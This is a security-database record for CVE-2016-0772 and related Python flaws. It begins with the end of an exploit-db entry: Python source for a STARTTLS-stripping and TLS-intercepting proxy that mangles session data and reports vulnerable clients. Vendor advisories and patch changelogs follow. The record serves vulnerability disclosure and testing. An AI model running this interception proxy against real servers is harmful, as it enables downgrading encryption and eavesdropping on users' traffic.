handshake\\r\\n\"%params)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" 670 \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n\r\nclass RewriteDispatcher(object):\r\n def __init__(self, generic_tls_intercept=False):\r\n self.vectors = {} # proto:[vectors]\r\n self.results = [] # [ {session,client_ip,mangle,result}, }\r\n self.session_to_mangle = {} # session:mangle\r\n self.generic_tls_intercept = generic_tls_intercept\r\n \r\n def __repr__(self):\r\n return \"<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>\"%(self.generic_tls_intercept, repr(self.vectors))\r\n \r\n def get_results(self):\r\n return self.results\r\n \r\n def get_results_by_clients(self):\r\n results = {} #client:{mangle:result}\r\n for r in self.get_results():\r\n client = r['client']\r\n results.setdefault(client,[])\r\n mangle = r['mangle']\r\n result = r['result']\r\n results[client].append((mangle,result))\r\n return results\r\n \r\n def get_result(self, session):\r\n for r in self.get_results():\r\n if r['session']==session:\r\n return r\r\n return None\r\n \r\n def set_result(self, session, value):\r\n r = self.get_result(session)\r\n r['result'] = value\r\n \r\n def add(self, proto, attack):\r\n self.vectors.setdefault(proto,set([]))\r\n self.vectors[proto].add(attack)\r\n \r\n def get_mangle(self, session):\r\n ''' smart select mangle\r\n return same mangle for same session\r\n return different for different session\r\n try to use all mangles for same client-ip\r\n '''\r\n # 1) session already has a mangle associated to it\r\n mangle = self.session_to_mangle.get(session)\r\n if mangle:\r\n return mangle\r\n # 2) pick new mangle (round-robin) per client\r\n # \r\n client_ip = session.inbound.peer[0]\r\n client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]\r\n \r\n all_mangles = list(self.get_mangles(session.protocol.protocol_id))\r\n if not all_mangles:\r\n return None\r\n new_index = 0\r\n if client_mangle_history:\r\n previous_result = client_mangle_history[-1]\r\n new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)\r\n mangle = all_mangles[new_index]\r\n \r\n self.results.append({'client':client_ip,\r\n 'session':session,\r\n 'mangle':mangle,\r\n 'result':None}) \r\n \r\n #mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()\r\n logger.debug(\"<RewriteDispatcher - changed mangle: %s new: %s>\"%(mangle,\"False\" if len(client_mangle_history)>len(all_mangles) else \"True\"))\r\n self.session_to_mangle[session] = mangle\r\n return mangle\r\n \r\n def get_mangles(self, proto):\r\n m = self.vectors.get(proto,set([]))\r\n m.update(self.vectors.get(None,[]))\r\n return m\r\n \r\n def mangle_server_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] <= [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n data = self.get_mangle(session).mangle_server_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n\r\n def mangle_client_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] => [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n #TODO: just use the first one for now\r\n data = self.get_mangle(session).mangle_client_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session):\r\n if self.generic_tls_intercept:\r\n # forced by cmdline-option\r\n return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)\r\n elif hasattr(self.get_mangle(session), \"on_recv_peek\"):\r\n return self.get_mangle(session).on_recv_peek(session, s_in)\r\n \r\ndef main():\r\n from optparse import OptionParser\r\n ret = 0\r\n usage = \"\"\"usage: %prog [options]\r\n \r\n example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25 \r\n \"\"\"\r\n parser = OptionParser(usage=usage)\r\n parser.add_option(\"-q\", \"--quiet\",\r\n action=\"store_false\", dest=\"verbose\", default=True,\r\n help=\"be quiet [default: %default]\")\r\n parser.add_option(\"-l\", \"--listen\", dest=\"listen\", help=\"listen ip:port [default: 0.0.0.0:<remote_port>]\")\r\n parser.add_option(\"-r\", \"--remote\", dest=\"remote\", help=\"remote target ip:port to forward sessions to\")\r\n parser.add_option(\"-k\", \"--key\", dest=\"key\", default=\"server.pem\", help=\"SSL Certificate and Private key file to use, PEM format assumed [default: %default]\")\r\n parser.add_option(\"-s\", \"--generic-ssl-intercept\",\r\n action=\"store_true\", dest=\"generic_tls_intercept\", default=False,\r\n help=\"dynamically intercept SSL/TLS\")\r\n parser.add_option(\"-b\", \"--bufsiz\", dest=\"buffer_size\", type=\"int\", default=4096)\r\n \r\n all_vectors = []\r\n for proto in (v for v in dir(Vectors) if not v.startswith(\"_\")):\r\n for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith(\"_\")):\r\n all_vectors.append(\"%s.%s\"%(proto,test))\r\n parser.add_option(\"-x\", \"--vectors\",\r\n default=\"ALL\",\r\n help=\"Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: \"+\", \".join(all_vectors)+\"\"\r\n \" [default: %default]\")\r\n # parse args\r\n (options, args) = parser.parse_args()\r\n # normalize args\r\n if not options.verbose:\r\n logger.setLevel(logging.INFO)\r\n if not options.remote:\r\n parser.error(\"mandatory option: remote\")\r\n if \":\" not in options.remote and \":\" in options.listen:\r\n # no port in remote, but there is one in listen. use this one\r\n options.remote = (options.remote.strip(), int(options.listen.strip().split(\":\")[1]))\r\n logger.warning(\"no remote port specified - falling back to %s:%d (listen port)\"%options.remote)\r\n elif \":\" in options.remote:\r\n options.remote = options.remote.strip().split(\":\")\r\n options.remote = (options.remote[0], int(options.remote[1]))\r\n else:\r\n parser.error(\"neither remote nor listen is in the format <host>:<port>\")\r\n if not options.listen:\r\n logger.warning(\"no listen port specified - falling back to 0.0.0.0:%d (remote port)\"%options.remote[1])\r\n options.listen = (\"0.0.0.0\",options.remote[1])\r\n elif \":\" in options.listen:\r\n options.listen = options.listen.strip().split(\":\")\r\n options.listen = (options.listen[0], int(options.listen[1]))\r\n else:\r\n options.listen = (options.listen.strip(), options.remote[1])\r\n logger.warning(\"no listen port specified - falling back to %s:%d (remote port)\"%options.listen)\r\n options.vectors = [o.strip() for o in options.vectors.strip().split(\",\")]\r\n if 'ALL' in (v.upper() for v in options.vectors):\r\n options.vectors = all_vectors\r\n elif 'NONE' in (v.upper() for v in options.vectors):\r\n options.vectors = []\r\n Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key\r\n \r\n # ---- start up engines ----\r\n prx = ProxyServer(listen=options.listen, target=options.remote, \r\n buffer_size=options.buffer_size, delay=0.00001)\r\n logger.info(\"%s ready.\"%prx)\r\n rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)\r\n \r\n for classname in options.vectors:\r\n try:\r\n proto, vector = classname.split('.',1)\r\n cls_proto = getattr(globals().get(\"Vectors\"),proto)\r\n cls_vector = getattr(cls_proto, vector)\r\n rewrite.add(cls_proto._PROTO_ID, cls_vector)\r\n logger.debug(\"* added vector (port:%-5s, proto:%8s): %s\"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))\r\n except Exception, e:\r\n logger.error(\"* error - failed to add: %s\"%classname)\r\n parser.error(\"invalid vector: %s\"%classname)\r\n\r\n logging.info(repr(rewrite))\r\n prx.set_callback(\"mangle_server_data\", rewrite.mangle_server_data)\r\n prx.set_callback(\"mangle_client_data\", rewrite.mangle_client_data)\r\n prx.set_callback(\"on_recv_peek\", rewrite.on_recv_peek)\r\n try:\r\n prx.main_loop()\r\n except KeyboardInterrupt:\r\n logger.warning( \"Ctrl C - Stopping server\")\r\n ret+=1\r\n \r\n logger.info(\" -- audit results --\")\r\n for client,resultlist in rewrite.get_results_by_clients().iteritems():\r\n logger.info(\"[*] client: %s\"%client)\r\n for mangle, result in resultlist:\r\n logger.info(\" [%-11s] %s\"%(\"Vulnerable!\" if result else \" \",repr(mangle)))\r\n \r\n sys.exit(ret)\r\n \r\nif __name__ == '__main__':\r\n main()", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/43500/"}], "gentoo": [{"lastseen": "2017-01-10T14:18:03", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636"], "edition": 1, "description": "### Background\n\nPython is an interpreted, interactive, object-oriented programming language. \n\n### Description\n\nMultiple vulnerabilities have been discovered in Python. Please review the CVE identifiers referenced below for details. \n\n### Impact\n\nA remote attacker could entice a user to open a specially crafted index file using Python\u2019s dumbdbm module, possibly resulting in execution of arbitrary code with the privileges of the process. \n\nA remote attacker could entice a user to process a specially crafted input stream using Python\u2019s zipimporter module, possibly allowing attackers to cause unspecified impact. \n\nA man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. \n\n### Workaround\n\nThere is no known workaround at this time.\n\n### Resolution\n\nAll Python 2 users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-lang/python-2.7.12:2.7\"\n \n\nAll Python 3 users should upgrade to the latest version:\n \n \n # emerge --sync\n # emerge --ask --oneshot --verbose \">=dev-lang/python-3.4.5:3.4\"", "modified": "2017-01-10T00:00:00", "published": "2017-01-10T00:00:00", "href": "https://security.gentoo.org/glsa/201701-18", "id": "GLSA-201701-18", "type": "gentoo", "title": "Python: Multiple vulnerabilities", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "redhat": [{"lastseen": "2019-08-13T18:44:44", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.", "modified": "2018-06-13T01:28:16", "published": "2016-08-18T18:44:37", "id": "RHSA-2016:1629", "href": "https://access.redhat.com/errata/RHSA-2016:1629", "type": "redhat", "title": "(RHSA-2016:1629) Moderate: python33-python security update", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-08-13T18:46:45", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.", "modified": "2018-06-13T01:28:24", "published": "2016-08-18T18:44:18", "id": "RHSA-2016:1628", "href": "https://access.redhat.com/errata/RHSA-2016:1628", "type": "redhat", "title": "(RHSA-2016:1628) Moderate: python27-python security update", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-08-13T18:47:14", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.", "modified": "2018-06-13T01:28:17", "published": "2016-08-18T18:44:56", "id": "RHSA-2016:1630", "href": "https://access.redhat.com/errata/RHSA-2016:1630", "type": "redhat", "title": "(RHSA-2016:1630) Moderate: rh-python34-python security update", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-08-13T18:44:42", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.", "modified": "2018-04-23T11:41:49", "published": "2016-08-18T18:43:57", "id": "RHSA-2016:1627", "href": "https://access.redhat.com/errata/RHSA-2016:1627", "type": "redhat", "title": "(RHSA-2016:1627) Moderate: rh-python35-python security update", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-08-13T18:47:00", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.", "modified": "2018-06-06T20:24:26", "published": "2016-08-18T18:24:36", "id": "RHSA-2016:1626", "href": "https://access.redhat.com/errata/RHSA-2016:1626", "type": "redhat", "title": "(RHSA-2016:1626) Moderate: python security update", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "oraclelinux": [{"lastseen": "2019-05-29T18:36:48", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "[2.6.6-66.0.1]\n- Add Oracle Linux distribution in platform.py [orabug 21288328] (Keshav Sharma)\n[2.6.6-66]\n- Fix for CVE-2016-1000110 HTTPoxy attack\nResolves: rhbz#1359161\n[2.6.6-65]\n- Fix for CVE-2016-0772 python: smtplib StartTLS stripping attack (rhbz#1303647)\n Raise an error when STARTTLS fails (upstream patch)\n- Fix for CVE-2016-5699 python: http protocol steam injection attack (rhbz#1303699)\n Disabled HTTP header injections in httplib (upstream patch)\nResolves: rhbz#1346354", "edition": 4, "modified": "2016-08-18T00:00:00", "published": "2016-08-18T00:00:00", "id": "ELSA-2016-1626", "href": "http://linux.oracle.com/errata/ELSA-2016-1626.html", "title": "python security update", "type": "oraclelinux", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:00", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-1000110", "CVE-2016-5699"], "description": "[2.7.5-48.0.1]\n- Add Oracle Linux distribution in platform.py [orabug 20812544]\n[2.7.5-48]\n- Fix for CVE-2016-1000110 HTTPoxy attack\nResolves: rhbz#1359164\n[2.7.5-47]\n- Fix for CVE-2016-5636: possible integer overflow and heap corruption in zipimporter.get_data()\nResolves: rhbz#1356364\n[2.7.5-46]\n- Drop patch 221 that backported sslwrap function since it was introducing regressions\n- Refactor patch 227\nResolves: rhbz#1331425\n[2.7.5-45]\n- Fix for CVE-2016-0772 python: smtplib StartTLS stripping attack (rhbz#1303647)\n Raise an error when STARTTLS fails (upstream patch)\n- Fix for CVE-2016-5699 python: http protocol steam injection attack (rhbz#1303699)\n Disabled HTTP header injections in httplib (upstream patch)\nResolves: rhbz#1346357\n[2.7.5-44]\n- Fix iteration over files with very long lines\nResolves: rhbz#1271760\n[2.7.5-43]\n- Move python.conf from /etc/tmpfiles.d/ to /usr/lib/tmpfiles.d/\nResolves: rhbz#1288426\n[2.7.5-42]\n- JSON decoder lone surrogates fix\nResolves: rhbz#1301017\n[2.7.5-41]\n- Updated PEP493 implementation\nResolves: rhbz#1315758\n[2.7.5-40]\n- Backport of Computed Goto dispatch\nResolves: rhbz#1289277", "edition": 4, "modified": "2016-11-09T00:00:00", "published": "2016-11-09T00:00:00", "id": "ELSA-2016-2586", "href": "http://linux.oracle.com/errata/ELSA-2016-2586.html", "title": "python security, bug fix, and enhancement update", "type": "oraclelinux", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-22T17:12:10", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-1000110", "CVE-2016-5699", "CVE-2014-9365"], "description": "[2.7.5-58.0.1]\n- Add Oracle Linux distribution in platform.py [orabug 20812544]\n[2.7.5-58]\n- Set stream to None in case an _open() fails.\nResolves: rhbz#1432003\n[2.7.5-57]\n- Fix implicit declaration warnings of functions added by patches 147 and 265\nResolves: rhbz#1441237\n[2.7.5-56]\n- Fix shutil.make_archive ignoring empty directories when creating zip files\nResolves: rhbz#1439734\n[2.7.5-55]\n- Update Python RPM macros with new ones from EPEL7 to simplify packaging\nResolves: rhbz#1297522\n[2.7.5-54]\n- Protect key list during fork()\nResolves: rhbz#1268226\n[2.7.5-53]\n- Fix _ssl.c reference leaks\nResolves: rhbz#1272562\n[2.7.5-52]\n- Workaround Python's threading library issue with non returning wait, for signals with timeout\nResolves: rhbz#1368076\n[2.7.5-51]\n- Enable certificate verification by default\nResolves: rhbz#1219110\n[2.7.5-50]\n- Fix incorrect parsing of certain regular expressions\nResolves: rhbz#1373363\n[2.7.5-49]\n- Fix ssl module's parsing of GEN_RID subject alternative name fields in X.509 certs\nResolves: rhbz#1364444\n[2.7.5-48]\n- Fix for CVE-2016-1000110 HTTPoxy attack\nResolves: rhbz#1359164\n[2.7.5-47]\n- Fix for CVE-2016-5636: possible integer overflow and heap corruption in zipimporter.get_data()\nResolves: rhbz#1356364\n[2.7.5-46]\n- Drop patch 221 that backported sslwrap function since it was introducing regressions\n- Refactor patch 227\nResolves: rhbz#1331425\n[2.7.5-45]\n- Fix for CVE-2016-0772 python: smtplib StartTLS stripping attack (rhbz#1303647)\n Raise an error when STARTTLS fails (upstream patch)\n- Fix for CVE-2016-5699 python: http protocol steam injection attack (rhbz#1303699)\n Disabled HTTP header injections in httplib (upstream patch)\nResolves: rhbz#1346357\n[2.7.5-44]\n- Fix iteration over files with very long lines\nResolves: rhbz#1271760\n[2.7.5-43]\n- Move python.conf from /etc/tmpfiles.d/ to /usr/lib/tmpfiles.d/\nResolves: rhbz#1288426\n[2.7.5-42]\n- JSON decoder lone surrogates fix\nResolves: rhbz#1301017\n[2.7.5-41]\n- Updated PEP493 implementation\nResolves: rhbz#1315758\n[2.7.5-40]\n- Backport of Computed Goto dispatch\nResolves: rhbz#1289277", "edition": 5, "modified": "2017-08-07T00:00:00", "published": "2017-08-07T00:00:00", "id": "ELSA-2017-1868", "href": "http://linux.oracle.com/errata/ELSA-2017-1868.html", "title": "python security and bug fix update", "type": "oraclelinux", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "centos": [{"lastseen": "2019-12-20T18:26:16", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-1000110", "CVE-2016-5699"], "description": "**CentOS Errata and Security Advisory** CESA-2016:1626\n\n\nPython is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.\n\nSecurity Fix(es):\n\n* It was discovered that the Python CGIHandler class did not properly protect against the HTTP_PROXY variable name clash in a CGI context. A remote attacker could possibly use this flaw to redirect HTTP requests performed by a Python CGI script to an attacker-controlled proxy via a malicious HTTP request. (CVE-2016-1000110)\n\n* It was found that Python's smtplib library did not return an exception when StartTLS failed to be established in the SMTP.starttls() function. A man in the middle attacker could strip out the STARTTLS command without generating an exception on the Python SMTP client application, preventing the establishment of the TLS layer. (CVE-2016-0772)\n\n* It was found that the Python's httplib library (used by urllib, urllib2 and others) did not properly check HTTPConnection.putheader() function arguments. An attacker could use this flaw to inject additional headers in a Python application that allowed user provided header names or values. (CVE-2016-5699)\n\nRed Hat would like to thank Scott Geary (VendHQ) for reporting CVE-2016-1000110.\n\n**Merged security bulletin from advisories:**\nhttp://lists.centos.org/pipermail/centos-announce/2016-August/034076.html\nhttp://lists.centos.org/pipermail/centos-announce/2016-August/034077.html\n\n**Affected packages:**\npython\npython-debug\npython-devel\npython-libs\npython-test\npython-tools\ntkinter\n\n**Upstream details at:**\nhttps://rhn.redhat.com/errata/RHSA-2016-1626.html", "edition": 5, "modified": "2016-08-18T17:23:23", "published": "2016-08-18T17:23:01", "href": "http://lists.centos.org/pipermail/centos-announce/2016-August/034076.html", "id": "CESA-2016:1626", "title": "python, tkinter security update", "type": "centos", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "amazon": [{"lastseen": "2020-11-10T12:37:35", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-5699"], "description": "**Issue Overview:**\n\nIt was found that Python's httplib library (used urllib, urllib2 and others) did not properly check HTTP header input in HTTPConnection.putheader(). An attacker could use this flow to inject additional headers in a Python application that allows user provided header name or values. ([CVE-2016-5699 __](<https://access.redhat.com/security/cve/CVE-2016-5699>))\n\nIt was found that Python's smtplib library did not return an exception if StartTLS fails to establish correctly in the SMTP.starttls() function. An attacker with ability to launch an active man in the middle attack could strip out the STARTTLS command without generating an exception on the python SMTP client application, preventing the establishment of the TLS layer. ([CVE-2016-0772 __](<https://access.redhat.com/security/cve/CVE-2016-0772>))\n\nA vulnerability was discovered in Python, in the built-in zipimporter. A specially crafted zip file placed in a module path such that it would be loaded by a later "import" statement could cause a heap overflow, leading to arbitrary code execution. ([CVE-2016-5636 __](<https://access.redhat.com/security/cve/CVE-2016-5636>)) \n\n\n \n**Affected Packages:** \n\n\npython26, python27, python34\n\n \n**Issue Correction:** \nRun _yum update python26_ to update your system. \nRun _yum update python27_ to update your system. \nRun _yum update python34_ to update your system. \n\n\n \n\n\n**New Packages:**\n \n \n i686: \n python26-libs-2.6.9-2.86.amzn1.i686 \n python26-tools-2.6.9-2.86.amzn1.i686 \n python26-test-2.6.9-2.86.amzn1.i686 \n python26-2.6.9-2.86.amzn1.i686 \n python26-debuginfo-2.6.9-2.86.amzn1.i686 \n python26-devel-2.6.9-2.86.amzn1.i686 \n python27-devel-2.7.10-4.122.amzn1.i686 \n python27-test-2.7.10-4.122.amzn1.i686 \n python27-tools-2.7.10-4.122.amzn1.i686 \n python27-debuginfo-2.7.10-4.122.amzn1.i686 \n python27-2.7.10-4.122.amzn1.i686 \n python27-libs-2.7.10-4.122.amzn1.i686 \n python34-tools-3.4.3-1.32.amzn1.i686 \n python34-test-3.4.3-1.32.amzn1.i686 \n python34-3.4.3-1.32.amzn1.i686 \n python34-devel-3.4.3-1.32.amzn1.i686 \n python34-debuginfo-3.4.3-1.32.amzn1.i686 \n python34-libs-3.4.3-1.32.amzn1.i686 \n \n src: \n python26-2.6.9-2.86.amzn1.src \n python27-2.7.10-4.122.amzn1.src \n python34-3.4.3-1.32.amzn1.src \n \n x86_64: \n python26-libs-2.6.9-2.86.amzn1.x86_64 \n python26-tools-2.6.9-2.86.amzn1.x86_64 \n python26-test-2.6.9-2.86.amzn1.x86_64 \n python26-devel-2.6.9-2.86.amzn1.x86_64 \n python26-2.6.9-2.86.amzn1.x86_64 \n python26-debuginfo-2.6.9-2.86.amzn1.x86_64 \n python27-devel-2.7.10-4.122.amzn1.x86_64 \n python27-test-2.7.10-4.122.amzn1.x86_64 \n python27-tools-2.7.10-4.122.amzn1.x86_64 \n python27-2.7.10-4.122.amzn1.x86_64 \n python27-debuginfo-2.7.10-4.122.amzn1.x86_64 \n python27-libs-2.7.10-4.122.amzn1.x86_64 \n python34-3.4.3-1.32.amzn1.x86_64 \n python34-debuginfo-3.4.3-1.32.amzn1.x86_64 \n python34-devel-3.4.3-1.32.amzn1.x86_64 \n python34-tools-3.4.3-1.32.amzn1.x86_64 \n python34-test-3.4.3-1.32.amzn1.x86_64 \n python34-libs-3.4.3-1.32.amzn1.x86_64 \n \n \n", "edition": 5, "modified": "2016-07-20T18:00:00", "published": "2016-07-20T18:00:00", "id": "ALAS-2016-724", "href": "https://alas.aws.amazon.com/ALAS-2016-724.html", "title": "Medium: python26, python27, python34", "type": "amazon", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "kaspersky": [{"lastseen": "2020-09-02T11:46:28", "bulletinFamily": "info", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-5699"], "description": "### *Detect date*:\n02/09/2016\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple serious vulnerabilities have been found in CPython (Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2. Malicious users can exploit these vulnerabilities to bypass the TLS protections, inject arbitrary HTTP headers or have unspecified impact.\n\n### *Affected products*:\nCPython 2.x before 2.7.12; \nCPython 3.x before 3.4.5; \nCPython 3.5.x before 3.5.2.\n\n### *Solution*:\nUpdate to the latest version \n[Patch to disable http header injection](<http://bugs.python.org/file37264/disable_http_header_injection.patch>) \n[Patch to StartTLS stripping attack (for branch 3.4)](<https://hg.python.org/cpython/rev/d590114c2394>) \n[Patch to StartTLS stripping attack (for branch 2.7)](<https://hg.python.org/cpython/rev/b3ce713fb9be>)\n\n### *Impacts*:\nCI \n\n### *Related 